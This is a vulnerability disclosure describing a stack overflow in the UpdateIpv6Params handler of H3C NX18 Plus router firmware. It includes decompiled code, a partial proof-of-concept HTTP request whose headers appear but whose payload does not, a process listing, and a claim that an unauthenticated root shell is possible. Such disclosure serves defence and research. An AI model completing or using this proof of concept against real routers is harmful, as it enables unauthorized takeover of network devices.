

# stack overflow vulnerability

#### Overview

- Manufacturer's website information: https://www.h3c.com/
- Firmware download address: https://www.h3c.com/cn/d\_202103/1389284\_30005\_0.htm

#### **Product Information**

H3C NX18 Plus NX18PV100R003 router, the latest version of simulation overview:



### **Vulnerability details**

The H3C NX18 Plus NX18PV100R003 router was found to have a stack overflow vulnerability in the Updatelpv6Params function. An attacker can obtain a stable root shell through a carefully constructed payload.

```
const char *v15; // $s0
char v17[64]; // [sp+18h] [-6Ch] BYREF
char v18[32]; // [sp+58h] [-2Ch] BYREF
int v19; // [sp+78h] [-Ch] BYREF
int v20; // [sp+7Ch] [-8h] BYREF

strcpy(v18, "param");
v2 = (const char *)websgetvar(a1, v18, "");

sscanf(v2, "%s", v17);
v3 = &v2[strlen(v17) + 1];
IF_GetByPseudoNameDomain("WAN1", 0, &v20);
if ( v17[0] == 49 )
```

In the UpdateIpv6Params function, the param we entered is formatted using the sscanf function and in the form of %s. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of V17, it will cause a stack overflow.

## Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

- 1. Boot the firmware by gemu-system or other ways (real machine)
- 2. Attack with the following POC attacks

```
POST /goform/aspForm HTTP/1.1
Host: 192.168.124.1:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101
Firefox/102.0
```

#### Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.

Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2

Accept-Encoding: gzip, deflate

Referer: https://121.226.152.63:8443/router\_password\_mobile.asp

Content-Type: application/x-www-form-urlencoded

Content-Length: 536

Origin: https://192.168.124.1:80

DNT: 1

Connection: close

Cookie: LOGIN\_PSD\_REM\_FLAG=0; PSWMOBILEFLAG=true

Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin

Sec-Fetch-User: ?1

The picture above shows the process information before we send poc.

```
1685 *root 724 $ dnsmag -r /etc/resolv.conf -n -c 500

1729 *root SW [kworker/2:1]

1793 *root 820 $ /bin/dhcpd -d -q br0

1842 *root 1692 $ upnpd /var/run/upnp_385875969 br0 WAN1

2245 *root SW [kworker/0:1]

2270 *root SW [kworker/1:1]

2543 *root SW [kworker/3:1]

2550 *root SW [kworker/2:2]

2569 *root 760 $ -mwcli

2584 *root 1544 $ /bin/sh

2649 *root SW [kworker/0:0]

2725 *root 1516 $ /bin/sh

2797 *root SW [kworker/u8:0]

2871 *root 5332 $ /bin/webs &


2898 *root 1036 $ telnetd

/ #
```

In the picture above, we can see that the PID has changed since we sent the POC.



The picture above is the log information.



By calculating offsets, we can compile special data to refer to denial-of-service attacks(DOS).

Finally, you also can write exp to get a stable root shell without authorization.